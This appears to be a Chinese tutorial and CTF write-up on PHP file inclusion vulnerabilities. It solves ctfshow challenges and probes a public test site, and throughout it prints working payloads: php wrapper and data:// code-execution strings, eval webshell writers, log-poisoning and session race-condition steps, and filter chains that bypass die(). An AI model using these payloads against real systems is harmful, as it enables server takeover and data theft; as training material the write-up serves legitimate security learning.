文章目录
- 前记
- WEB攻防------第五十天
-
- PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
-
- [文件包含 - 原理&分类&利用&修复](#文件包含 - 原理&分类&利用&修复)
-
- 原理
- 分类
- [黑盒利用 - Vulnweb - 有无文件包含](#黑盒利用 - Vulnweb - 有无文件包含)
- [白盒利用 - Ctfshow - 伪协议玩法](#白盒利用 - Ctfshow - 伪协议玩法)
-
- [Ctfshow-78 php&http伪协议](#Ctfshow-78 php&http伪协议)
- [Ctfshow-79 data伪协议](#Ctfshow-79 data伪协议)
- [Ctfshow-80、81 日志文件利用](#Ctfshow-80、81 日志文件利用)
- [Ctfshow-82 Session&条件竞争](#Ctfshow-82 Session&条件竞争)
- [Ctfshow-87 php://filter/write&加密编码](#Ctfshow-87 php://filter/write&加密编码)
- Ctfshow-88
- [Ctfshow-117 php://filter/write&新的算法](#Ctfshow-117 php://filter/write&新的算法)
前记
- 今天是学习小迪安全的第五十天,本节课主要内容是PHP的文件包含,主要是LFI的几种利用方式
- 本节课是理论和实践结合,所以也是希望你们理解之后再去自己打一遍
- 话不多说,让我们开始今天的学习吧!
WEB攻防------第五十天
PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
文件包含 - 原理&分类&利用&修复
原理
- 程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为文件包含。
- 在文件包含的过程中,如果文件能进行控制,则存在文件包含漏洞
- 在PHP中,关于文件包含的函数有:
include()
include_once()
require()
require_once()
- 其实就是假如上述传入 这些函数的参数可控,那就可能存在文件包含漏洞
分类
- 文件包含漏洞分为两大类:
- 本地包含 :
Local File Include
(LFI
),即只能包含本地拥有的文件 - 远程包含 :
Remote File Include
(RFI
),即可以加载远程文件进行包含
- 本地包含 :
- 差异原因:代码过滤和环境配置文件开关决定
远程文件包含
-
远程文件包含必须满足的条件:
- 存在包含点
- 没有代码过滤
- 允许远程加载并执行远程文件
-
那么对于PHP而言,需要配置选项
allow_url_include
和allow_url_fopen
为ON
状态,在小皮中,就要将远程文件
和远程包含
开启:
-
然后在代码中写个这样的一句代码:
php
include($_GET['file']);
-
接下来我们就进行演示,我这里使用自己的云服务器,然后上面放一个
php
恶意文件,让本地去远程包含,演示一下区别
-
当我不开这两个选项 的时候:
-
现在是不执行的,当我把这两个选项开启(必须两个选项都开启 ),欸,他就能够正常解析了:
-
但是这个吧,利用条件比较苛刻,所以实战中基本碰不到
本地文件包含
-
比起
RFI
,LFI
的利用条件就简单了很多,只需要有包含点即可 -
但是本地文件包含的利用方式有很多种,具体其实也就分为两大类:
- 有文件利用:配合文件上传,实现包含自定义文件
- 无文件利用 :
- 包含日志文件利用
- 包含Session文件利用
- 伪协议玩法利用
-
我们先来说一说伪协议,这是文件包含的重头戏,最主要的其实就是这张图:
-
主要协议有
file://
、php://filter
、php://input
、zip://
、data://
等等 -
文件读取:
python
# 读取/etc/password文件,使用绝对路径!
file:///etc/password
# 读取phpinfo.php文件,并进行base64编码,使用相对路径!
php://filter/read=convert.base64-encode/resource=phpinfo.php
- 文件写入:
python
# 写入phpinfo.php文件,并进行base64编码 => 需要配合file_put_contents()函数使用
php://filter/write=convert.base64-encode/resource=phpinfo.php
# POST提交代码创建shell.php文件
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]);?>'); ?>
- 代码执行:
python
# POST提交php代码
php://input POST:<?php phpinfo();?>
# 执行php代码
data://text/plain,<?php phpinfo();?>
# 执行base64编码后的php代码
data://text/plain;base64,PD9waHAgcGwaW5mbygpOz8%2b
- 那我们就利用网上的
vul``ctfshow
中的靶场来演示这些伪协议的用处,当然也可以自己搭建网站玩一玩
黑盒利用 - Vulnweb - 有无文件包含
-
黑盒发现就主要通过观察参数传递的数据和文件名是否对应
-
我们有这样一个网站: http://testphp.vulnweb.com/showimage.php
-
现在它可以传入一个参数
file
去包含一个文件,现在我们就是一个黑盒,我们就可以尝试传入?file=showimage.php
看看能否包含当前文件:
-
能够成功返回
showimage.php
的源码,一般来说网站的首页文件都是index.php
,那我们尝试包含一下:
-
成功返回信息,同时,这里也暴露出了数据库配置文件的文件名,直接包含一下:
-
成功得到数据库的账号和密码,接管数据库
-
那这个靶场到这里就结束了,后续利用实战中可以尝试连数据库,或者利用伪协议上传马子都是OK的
白盒利用 - Ctfshow - 伪协议玩法
- 白盒发现:
- 可通过应用功能追踪代码定位审计
- 可通过脚本特定函数搜索定位审计
- 可通过伪协议玩法绕过相关修复等
- PHP:
include
、include_once
、require
、require_once
include
在包含的过程中如果出现错误,会抛出一个警告,但程序继续执行require
函数出现错误时,会直接报错并退出和终止程序
- Java:
java.io.File
、java.io.FileReader
等 - ASP.NET:
System.IO.FileStream
、System.IO.StreamReader
等
Ctfshow-78 php&http伪协议
- 这里就是直接把源代码给出来,然后让你分析绕过的:
php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
-
那这里什么都没过滤,就想用什么用什么了,可以远程包含尝试一下,也可以本地包含利用伪协议执行php命令
-
我们这里就本地包含解题吧,一般读取文件都使用
php://filter
的这个协议,因为我们一开始并不知道当前目录的绝对路径 -
所以这里可以先执行一个命令看看当前文件夹有哪些文件:
php://input POST:<?php system('ls');?>
:
-
然后看到了
flag.php
,那我们就直接尝试读取就好了:
-
当然,这里也可以用
php://filter/read=convert.base64-encode/resource=flag.php
读取,然后base64
解码即可:
Ctfshow-79 data伪协议
- 源码:
php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
-
这里将
php
过滤了,我们用不了php
伪协议了,同时payload
中也不能包含php
字段,那就使用data
伪协议进行读取和写入:
-
这里
<?php system('ls');?>
编码为:PD9waHAgc3lzdGVtKCdscycpOz8+
,需要将最后的+
URL编码为%2b
,因为不编码表示空格 -
然后再执行
<?php system('tac flag.php');?>
即可:
Ctfshow-80、81 日志文件利用
- 源码:
php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
-
可以看到这题将
php
和data
都禁用了,那上面的协议只用file
可以用了(不考虑zip
等) -
但是
file
只能读取绝对路径的文件,这里我并不知道flag.php
的绝对路径,靠猜显然是不可能的 -
这时候我们就需要用到一些特殊的文件,比如日志文件
-
为什么呢?因为日志文件很可能会记录我们的访问信息,比如
UA
头、IP
、Cookie
等等信息,如果它记录了,那我们是不是可以尝试将php代码写到这些地方,让他包含执行呢? -
而且日志文件的绝对路径一般是默认的,但是需要结合搭载的服务器来看:Linux服务器日志存储位置详解:/var/log/、Nginx、Apache、MySQL等常见日志目录 -- Linux命令大全(手册)
-
这里是
Nginx
,所以我们尝试访问一下Linux
下Nginx
的默认日志路径:linux 查看nginx日志-CSDN博客
-
可以看到这里呢,是会记录我们的
UA
头信息的,那我们尝试将php
代码放入UA
头看它是否执行,直接抓包:
-
然后放包,看日志:
-
可以看到成功执行我们的
php
代码,然后我们继续读取fl0g.php
:
-
成功获得
flag
Ctfshow-82 Session&条件竞争
- 源码:
php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
-
现在过滤了
php
、data
、:
以及.
,所以能够使用的伪协议只有file
、zip
之类 -
这题需要通过
SESSION
来实现文件上传,之后再包含利用 -
造成利用的原因就是因为
PHP
中有一个PHP_SESSION_UPLOAD_PROGRESS
选项 -
在了解该选项之前,我们需要知道两个东西:
-
Session
存储位置:
-
与
Session
有关的几个PHP选项:
-
-
然后,我们在了解一个PHP中的
PHP_SESSION_UPLOAD_PROGRESS
选项,简单来说就是可以通过这个选项让服务器保存我们自定义的SESSION
会话文件 -
但是由于上述条件,保存的内容会被立刻清除,和我们文件上传时一样,它是先上传再清除的,所以存在一个时间间隙我们可以利用
-
于是我们可以写这样一个
html
代码:
html
<!doctype html>
<html>
<body>
<form action="http://xxx.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>')?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
-
这个代码就是去上传一个
SESSION
,然后里面的内容就是当这个SESSION
文件被访问时,就创建一个shell.php
后门(这里由于电脑不允许包含后门,也懒得做免杀,就改成了phpinfo()
),一个简单的条件竞争 -
然后把他搭载到本地,抓包,自定义
PHPSESSID
,然后放入Intruder
模块不断放包:
-
这里弄好之后,我们进入ctfshow那里访问
sess_lingaaa
文件,这个路径一般是默认路径(上面提到过):
-
看到空白页面,没有保存就说明成功创建了
sess_lingaaa
文件,但是这里内容是空的,说明内容被删除了 -
那我们还是一样,不断的发包访问:
-
现在我们不断访问
shell.php
文件,按道理来说是可以成功访问的,但是这里不知道为啥,它这个是晚上十一点开启条件竞争,我半夜十二点去复现还是没有成功QAQ,而且还把服务器干崩了好像:
-
这篇文章是成功复现的,各位大佬有时间可以自己去玩一玩:ctfshow-web入门-文件包含(web82-web86)条件竞争实现session会话文件包含_ctfshow web82-CSDN博客
Ctfshow-87 php://filter/write&加密编码
- 源码:
php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
-
过滤了很多东西,然后
file
也比较难用,基本读不了有后缀的文件,那日志包含不行,Session
应该可以,但是也难用 -
我们注意到这里有个
file_put_contents()
函数和urldecode($file)
函数 -
出现这两个函数我们就要注意了,第一个函数我们就可以使用
php://filter/write
去写入内容,第二个函数我们可以去绕过禁止php
字段出现 -
我们知道如果我们GET传入的参数值是经过
URL
编码的,那么浏览器就会帮我们自动解码一次 -
但是第二个函数的出现,就会让服务器再帮我们解码一次,因此我们本地可以传入两次URL编码的
payload
,这样浏览器解码后还是URL编码的值,绕过黑名单检测,服务器再解码一次就是我们真正写入的值了 -
同时,我们也需要注意这里有个
die()
函数需要绕过 ,不然我们就没法执行传入的content
-
所以我们的
payload
为php://filter/write=convert.base64-decode/resource=1.php
:
-
然后
POST
传入content
,这里需要将php
语句进行base64
编码,需要注意的是:-
编码后的字节数要符合要求 ,否则会报错:
-
编码中不能出现
+
号,否则上传成功也无法执行
-
-
那我们
content
内容就为:<?php @eval($_POST[a]);?>
,然后Base64
编码:
-
前面加上两个a是为了凑够字节数,然后访问
1.php
,传入a=system('ls');
:
-
接下来就可以看
flag
了:
-
除了上述的使用
Base64
进行编码以外,还可以使用ROT13
进行加密传输 -
payload
为php://filter/write=string.rot13/resource=2.php
两次URL编码,content
的值为ROT13
编码后的一句话木马:
Ctfshow-88
- 源码:
php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
- 这里过滤了
php
以及一堆符号,但是没过滤data
,所以尝试用data
伪协议去执行代码 - 尝试使用
payload
为:data://text,plaintext;base64,PD9waHAgc3lzdGVtKCdscycpOz8+
,这是不行的,因为里面包含了字符+
,会被过滤 - 所以这里
base64
编码的值不能包含符号,那就在左右添加值来生成一个没有符号的base64
编码 - 最终我们生成的
payload
为data://text/plain;base64,YWE8P3BocCBzeXN0ZW0oJ2xzJyk7Pz4xMjM0NTU
,即aa<?php system('ls');?>123455
和12<?php system('tac *php');?>
成功绕过:
Ctfshow-117 php://filter/write&新的算法
- 源码:
php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
- 这关过滤了很多东西,甚至连
base64
和rot13
都过滤了,而且还有个die()
函数需要绕过,那基本上只能加密这些了,但是没过滤php
,所以可以使用php
伪协议 - 这里我们还有一种
php
伪协议的过滤器convert.iconv.*
,详见:php://filter的各种过滤器_php过滤器转换器常见-CSDN博客 - 这里可以把
content
的内容从UCS-2LE
编码转换为UCS-2BE
编码,绕过过滤和die()
函数 - 这里可以写一个脚本将
contents
的内容转一下:
php
$result = iconv("UCS-2LE","UCS-2BE", '$contents');
echo $result;
-
所以
payload
为:php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
,contents=?<hp pvela$(P_SO[T]a;)>?
:
-
成功执行,然后直接看
flag
: